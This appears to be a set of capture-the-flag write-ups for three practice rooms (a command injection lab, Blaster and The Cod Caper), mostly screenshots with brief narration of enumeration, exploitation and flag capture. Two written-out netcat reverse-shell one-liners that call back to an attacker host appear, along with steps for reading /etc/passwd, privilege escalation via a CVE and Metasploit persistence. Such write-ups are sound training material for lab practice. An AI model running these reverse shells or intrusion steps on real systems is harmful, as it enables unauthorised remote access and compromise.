![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaFSNcnmlRFwG73Q-I%2Fimage.png?alt=media\&token=def97b31-9d4e-4e5e-b6c5-14902df6adce)

Lets go to the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaFywoswht9gUrFoKG%2Fimage.png?alt=media\&token=9a1fd871-5054-466e-8346-df0fc43f6342)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaGhGE7RwZwq70jqLD%2Fimage.png?alt=media\&token=2317ea2a-a44b-4888-b2e1-e4a5dd02f3cc)

Lets try to find the Kernel Version and redirect it to a file and then read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaItLmu5jwdU8MKFjy%2Fimage.png?alt=media\&token=62464579-7aa7-4f97-bbed-6d5510eb7a62)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaJDFfzaZ30Gb0-hZh%2Fimage.png?alt=media\&token=3738a15d-0fcc-4233-8f81-8b12a68df461)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaJNXqZKXLOOpioKvW%2Fimage.png?alt=media\&token=781774d2-9058-4b44-b4ec-920445a1d7f2)

Now lets enter root and look at the response for the answer to the next question

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaJhCWnznWKsi90S50%2Fimage.png?alt=media\&token=991dbd19-7c82-4bd3-a9e7-dc5e353dfc2a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaJkJJUaWCr2WNsmjB%2Fimage.png?alt=media\&token=4278b850-7a75-4b61-a91e-870a0bf15bb2)

Now lets enter www-data

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaJojs0xi77xXbfPe1%2Fimage.png?alt=media\&token=e73ced1b-39a8-4663-9336-e3508f50c393)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaJrgDiFP2ZRySfVy7%2Fimage.png?alt=media\&token=3c029e44-8c0b-4c02-967d-b96e5eb2d1c9)

Lets enter our name and see what the output is

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaJz3fBR0E4DHhkop8%2Fimage.png?alt=media\&token=80bdfb87-c8a6-4fec-8ed9-c8753962755c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaK0n9AIxoHciErjqz%2Fimage.png?alt=media\&token=aae88067-6e8d-425b-bde4-cbdefaa210f2)

## Active Command Injection

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaKSp0mzxYVPLg-N1q%2Fimage.png?alt=media\&token=bbb71beb-074f-45c4-96f1-1ebf610736a6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaKWD3d5yy_PsfN2Yp%2Fimage.png?alt=media\&token=8b3f4d0b-b61c-4bcb-9ac4-350d4f833893)

Lets go to the webpage that they mention

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaKd4fJA4Vg3CvaN0A%2Fimage.png?alt=media\&token=171698f0-f5cf-46cd-9f0f-491433929907)

Lets look at the files and see if there is an interesting file with the ls command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaKt6xjeeOUV4wprJ2%2Fimage.png?alt=media\&token=8cedbd5c-4946-4395-8c52-595367e8350f)

There is an interesting file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaKyHng0ASNYHNdoWG%2Fimage.png?alt=media\&token=0d56f218-1f89-4f5c-9fdf-6ff5a9b7af1c)

To see how many users are there on the machine, we can read the /etc/passwd file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaLAM7MxFrGytAmfw1%2Fimage.png?alt=media\&token=9940fbbd-586d-408e-adb0-89e859433c48)

We can look at this output by going to the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaLK7g5QQ9jvlh0aDM%2Fimage.png?alt=media\&token=686b1773-6d90-4550-92f3-4dfda2be7290)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaLVRY0p7lCdttniYf%2Fimage.png?alt=media\&token=f0730a89-2441-4df7-8773-06f7d9819a6e)

We can see which user the app is running as with the whoami command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaLgAuWf3NVLv5M84J%2Fimage.png?alt=media\&token=3d248e34-476c-4535-a2b8-aa5300f5121f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaLjk2XRggRwnaQx26%2Fimage.png?alt=media\&token=b8e14693-854d-458e-8e47-460787efc196)

We can see what this user's shell is set as in the /etc/passwd file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaLzoB9RbBTchiPv3G%2Fimage.png?alt=media\&token=b8468129-ac47-4401-8f77-cfbcdaeddc9f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaM5YheL988nkRGHK1%2Fimage.png?alt=media\&token=b882b4ef-33ec-43c6-862a-cc512d02c7f9)

We can see what version of Ubuntu is running by using the command lsb\_release -a&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaMOqE_ZC3TZtRKkCD%2Fimage.png?alt=media\&token=ee65ea9d-ef86-469a-8d35-a00edb29fd8b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaMSX_Wgx7izL1pd9I%2Fimage.png?alt=media\&token=629aa40a-bc8f-46ec-847b-63c035f37298)

We can print out the MOTD with this command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaMi0njl6p9Yu4xsSc%2Fimage.png?alt=media\&token=a18e4d89-423b-4cc0-98f8-60a46c6e8a58)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaMmGFwf-_Y4iomcOv%2Fimage.png?alt=media\&token=4fe36275-caa8-4576-ab35-e09611a784eb)

## Get the Flag!

Lets first get a reverse shell on the machine so that we can navigate through the machine easier.

First we start a netcat listener

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaNmfF9IWtYbeDDjy9%2Fimage.png?alt=media\&token=6e10d379-b376-4c6b-8d2b-177f0bbe2b5a)

Now we use the reverse shell command

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaNzJ3MyCN3IWeToHo%2Fimage.png?alt=media\&token=19486a26-0ea3-4773-b7e3-9bfa222017e5)

Lets hit Submit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaO1xoNNQyM3euwW1f%2Fimage.png?alt=media\&token=e338a3da-2b48-4ffe-8b5f-ad5e814c1eb6)

We have a shell, lets stabilize it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaOJKjH6VP-D5R4gEl%2Fimage.png?alt=media\&token=f9118903-dec3-439f-9691-b5303e11a442)

Lets now look for the flag, it might be a txt file and maybe called flag, so lets look for that

```
find / -type f -name flag.txt 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaOkd9doUu_kTx-QGP%2Fimage.png?alt=media\&token=c6cdff6b-0f5b-4ab5-985e-10c3ef987a3e)

We have the flag, lets read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeaEDIwSo3XTFlYCFND%2F-MeaOrzaSOVlgxlwsGWB%2Fimage.png?alt=media\&token=80200110-e8b6-4bd5-9b6a-5b611ce8de2a)


# Blaster

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW8nQUslW16tdIYWop%2F-MeW8yOA4wzQs3kZDBR1%2Fimage.png?alt=media\&token=bf8af8b0-60ec-4c79-900c-539db560dbd0)

## Activate Forward Scanners and Launch Proton Torpedoes

Lets run nmap scans to find open ports and the services running on them

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWDEVFHTquifjXfDgR%2Fimage.png?alt=media\&token=3bd3e0b7-d265-474c-ac6e-336db9de6143)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWFzQyzItLSIAR5X7q%2Fimage.png?alt=media\&token=c2dcef09-69dd-4292-9cd1-da3cc5f0e4de)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWDH2rtOTRcZTtFif1%2Fimage.png?alt=media\&token=8f5458b6-dc12-4287-9d7b-4c5999f710ab)

Lets check the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWDOibfiZ9VTSuhZIp%2Fimage.png?alt=media\&token=b2f15ed9-b385-431f-8c71-359cb17991ea)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWDizzo9GGhBqbTkDQ%2Fimage.png?alt=media\&token=42f616c8-7464-4380-bf1b-068875fb4b78)

Looks like there is nothing interesting here, lets look for hidden directories and pages with gobuster

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWEoxABma4vVwnUAww%2Fimage.png?alt=media\&token=580d65ad-b823-4113-998d-f935ef6dc79d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWErn9JzheZ94uuQ0F%2Fimage.png?alt=media\&token=22973ad0-dc92-4c6d-ae36-03acee109078)

Lets look at this directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWEz2bI4WiWJioJeji%2Fimage.png?alt=media\&token=a4f524e5-8eac-4e63-ab28-33c3a9494c8b)

We have a possible username Wade.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWF3s3d4biW0HA9fzQ%2Fimage.png?alt=media\&token=9ed5438d-eef6-4bb6-9359-5893b39e5bca)

Lets look at the website and see if we can find anything interesting. Looking around we come around this post

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWGLiNbAClqMm6an--%2Fimage.png?alt=media\&token=44127109-4353-4bb4-b060-9a3282128c52)

After we click on it, we get to this page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWGTaBbIUpNbeuDpwZ%2Fimage.png?alt=media\&token=0ec5b69f-b008-4e53-8d80-58a94b9339f0)

It looks like a password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWGY4_LH9O2tA4sUCC%2Fimage.png?alt=media\&token=16849bf8-5169-475b-8f7f-760b55a7d76c)

Now lets try to login through Remote Desktop with the credentials we have. We can use remmina to do this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWGsHEWpOREcm5kCmU%2Fimage.png?alt=media\&token=d39f54c8-4894-45ef-a89b-e6c20f88d5dc)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWGyWsf7uQiyCfyM29%2Fimage.png?alt=media\&token=5efe7ca0-d602-4473-a630-3421dffe2823)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWH3ladaFHd9zYv4fc%2Fimage.png?alt=media\&token=0f540f23-a5d9-432c-bfdb-86f978c9978e)

We are logged in, lets read the user.txt file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWHEutLYJ3AdRYnXaL%2Fimage.png?alt=media\&token=5907b8a0-83d5-48af-9051-e477d6b11454)

## Breaching the Control Room

Lets look for interesting information like what the user what looking at, lets go to Internet Explorer ;-; and look at the history.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWJ-kNN_t6o53dMaD0%2Fimage.png?alt=media\&token=6761747c-47ed-423d-84fd-648c843477f7)

We have the CVE number

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWJBrtOysWGlKTNwoH%2Fimage.png?alt=media\&token=c1afff5a-69ca-4499-8552-18785b7d5739)

We need an executable that is necessary for the exploitation of this vulnerability, and we can find this on the desktop

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWJwJrNlb7dOPvnDyo%2Fimage.png?alt=media\&token=9cc25d6b-678c-447c-8767-868c5161659f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWK-D0_oCYVSSHJsQH%2Fimage.png?alt=media\&token=9502ffb1-9b2f-4416-a863-3f7e2c0d94fb)

Lets look at this vulnerability closer and use it to get a shell on the machine

First lets look at this executable by clicking it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWKMOUyv83w2ZJr2EI%2Fimage.png?alt=media\&token=eeccd09d-6621-4ec9-9d41-5dcd2325c1b7)

Lets go to show more details > Show information about the publisher's certificate

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWK_jJ0NIl_uxpmuAy%2Fimage.png?alt=media\&token=d2193193-6008-478e-abf8-713b07c78311)

Lets click issued by link, and close the tabs, now lets go to internet explorer and hit Ctrl + s

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWLyHIvO1cw0xHpIB3%2Fimage.png?alt=media\&token=75a9ee76-eae6-4f2e-9294-7073acb54d64)

We have an error, now lets click ok and we see that the file explorer is open, lets open cmd

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWMC4Dr4J4JmjuIxjT%2Fimage.png?alt=media\&token=d5e76863-9fce-42d7-97bc-a69f4607e549)

Now lets check who we are on the system

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWMI_JBJDUN-aKy3rN%2Fimage.png?alt=media\&token=7ee47b9b-8d6b-4db7-97d2-113065883179)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWMPDQpBCBuakblNle%2Fimage.png?alt=media\&token=5f987a5e-daca-45b2-8176-c5f1ef91eb2a)

Lets read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWMh9JifcYzj9z8bW2%2Fimage.png?alt=media\&token=b1622a1a-f69d-488e-8469-14ffc009abdc)

## Adoption into the Collective

Lets follow the steps mentioned in the room

First lets go to our machine and launch metasploit and select the module they provided

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWNRCNdPusnv8K7hIE%2Fimage.png?alt=media\&token=e58d6d63-4883-41e4-b7a8-b19876d9ab11)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWNZYkCSw4tn3q9aeU%2Fimage.png?alt=media\&token=a4ea3a43-fd95-4cb1-805d-d57fd9067f34)

Now lets set the target to PSH

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWNjMvFUPv3rV88Y2V%2Fimage.png?alt=media\&token=3de00d02-d295-4850-b789-14540bb7897c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWNmGkuJiyUpcS30o4%2Fimage.png?alt=media\&token=598f2e4c-e236-4d53-b3b3-48f0a972c75c)

Lets set the options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWO4Y6nmbCJ9smn4s7%2Fimage.png?alt=media\&token=9fc3e44a-c0fd-41df-84ae-6a6dfa7d2a06)

Lets set the payload the run the exploit as a job

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWPW9RD3rh1J7xG-qp%2Fimage.png?alt=media\&token=7d0928f6-f12f-472e-8eaa-77681fe42e4e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWPSkpiYqpcsFgoXwV%2Fimage.png?alt=media\&token=cdf433f7-287a-4f13-8f15-62c7532a8aad)

Lets select the command and paste it in the terminal of the machine we just exploited

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWPf4ZkP-aZMXbfbhO%2Fimage.png?alt=media\&token=7257ae74-249a-4dec-8f98-1ef13ce55320)

And we should get a meterpreter shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWQG9RBnqqtc_NmM1w%2Fimage.png?alt=media\&token=45808917-a35b-4b4e-bd40-331981771ac3)

We can get persistence with this command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeW91B6nNOiiptl8y--%2F-MeWQVQfVHVtY_L9SWVc%2Fimage.png?alt=media\&token=e0b24236-4586-4cb7-8ad3-737c56cbd7ed)


# The Cod Caper

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMqMSJqaPI58sY2oUS%2Fimage.png?alt=media\&token=573a48f9-2997-4741-ba2d-e93925bdbc60)

## Host Enumeration

Lets run nmap scan to find open ports and the services running on them

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMrDd60OfUrngdpSE5%2Fimage.png?alt=media\&token=dc8a460a-af73-4784-965e-1f362dd2cad8)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMrNhMe6UFnHkq1_t0%2Fimage.png?alt=media\&token=ef2a9967-c21f-4489-afd2-93f9360e8bea)

## Web Enumeration

Lets check the webpage.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMrZ4t8GIM0SkmrdVf%2Fimage.png?alt=media\&token=adb84cfe-2ab7-4c20-92c3-1c430199a768)

Its a default Apache2 page, lets run gobuster to find hidden files and directories

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMuj6i5h99D5cOrMdC%2Fimage.png?alt=media\&token=6ff90359-6905-4eb2-bc10-c087b086ea73)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMung_24Sx9yqGMHNO%2Fimage.png?alt=media\&token=322698cb-e5c5-4e26-a1ae-d3f41d615893)

## Web Exploitation

Lets use Sqlmap to find more information.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMzSVOTEVebw_Ub7Nw%2Fimage.png?alt=media\&token=0b146dbd-7bd1-4721-a9ae-2138b581b09d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMzXlQGgVNIJg-zszv%2Fimage.png?alt=media\&token=32c71b49-308b-4ecd-8531-3ba6d6f0869d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeMptW2Vos2djGjZmSU%2F-MeMzfLg-YYOz4uLSGSX%2Fimage.png?alt=media\&token=0d72104c-8452-4c3f-a83e-4ac0640647cf)

## Command Execution

Lets check the administrator.php page and login with the credentials we found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR0py4WxpOAIUcPCAt%2Fimage.png?alt=media\&token=85a9d80e-9cb3-4542-8e3b-1cd2a678b027)

Looks like we can run commands. Lets get a reverse shell on the machine, first we start a netcat listener.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR17ToqnfiDdRW8GTu%2Fimage.png?alt=media\&token=40718052-570e-4b9f-8240-dba2e597f0ac)

Now lets run the reverse shell command

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Your-IP> 1234 >/tmp/f
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR1O1F3a9fVGJ674KA%2Fimage.png?alt=media\&token=271c74d7-c892-427e-8235-8eb5b1b9f51f)

We have a shell. Lets stabilize the shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR1oqKdN96cAn8hjSk%2Fimage.png?alt=media\&token=fbf80aa1-4a34-44fb-b8c6-4bcf2dece759)

Lets look at how many files are in the current directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR25u6UVMwsx-5H-TL%2Fimage.png?alt=media\&token=a5e62143-5069-4435-8116-f735acd786ba)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR2AJKypLGmCu87fjF%2Fimage.png?alt=media\&token=a22f7235-a409-487c-9929-8763293bb49c)

Lets check if pingu still has his account on this machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeR-xQuXQ1ejbv15CRF%2F-MeR2KkaO-ui0h8BxUJ-%2Fimage.png?alt=media\&token=ae3c55b5-0f13-4994-9686-18a8216a1c23)

Looks like he does.

